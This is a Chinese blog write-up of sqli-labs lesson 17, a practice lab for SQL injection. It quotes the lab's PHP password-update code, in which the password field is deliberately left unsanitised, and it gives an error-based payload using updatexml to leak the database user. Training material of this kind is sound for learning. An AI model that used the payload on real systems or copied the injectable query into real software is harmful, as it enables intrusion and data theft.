zoukankan      html  css  js  c++  java
  • sqli-labs第十七题

    查看题目

    基于错误的字符型注入
    场景是更新密码

    寻找SQL注入

    测试一番始终是“笨蛋HACKER”的页面。
    。。。。。。
    与之前的题型不同,懵逼ing...

    审计源码

    function check_input($value)
    	{
    	if(!empty($value))
    		{
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
    
    		// Stripslashes if magic quotes enabled
    		if (get_magic_quotes_gpc())
    			{
    			$value = stripslashes($value);
    			}
    
    		// Quote if not a number
    		if (!ctype_digit($value))
    			{
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
    		$value = intval($value);
    		}
    	return $value;
    	}
    
    if(isset($_POST['uname']) && isset($_POST['passwd']))  //需要用户名和密码都有输入
    {
    //making sure uname is not injectable
    $uname=check_input($_POST['uname']);  //对用户名参数做了输入检查
    
    $passwd=$_POST['passwd'];
    
    
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."
    ");
    fwrite($fp,'New Password:'.$passwd."
    ");
    fclose($fp);
    
    
    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
    	if($row)                  //当用户名存在时,才会执行修改密码的操作
    	{
      		//echo '<font color= "#0000ff">';	
    		$row1 = $row['username'];  	
    		//echo 'Your Login name:'. $row1;
    		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    		mysql_query($update);
      		echo "<br>";
    

    因为对用户名做了严格的检查,所以我们首先要取得一个用户名。

    测试常用用户名

    得到一个用户名“admin”

    Mysql显错注入

    payload:' and updatexml(1,concat(0x7c,user()),1)#

  • 相关阅读:
    Thinking in Java Reading Note(9.接口)
    Thinking in java Reading Note(8.多态)
    Thinking in Java Reading Note(7.复用类)
    SQL必知必会
    Thinking in Java Reading Note(5.初始化与清理)
    Thinking in Java Reading Note(2.一切都是对象)
    鸟哥的Linux私房菜笔记(1.基础)
    Thinking in Java Reading Note(1.对象导论)
    CoreJava2 Reading Note(2:I/O)
    CoreJava2 Reading Note(1:Stream)
  • 原文地址:https://www.cnblogs.com/a-qi/p/13542063.html
Copyright © 2011-2022 走看看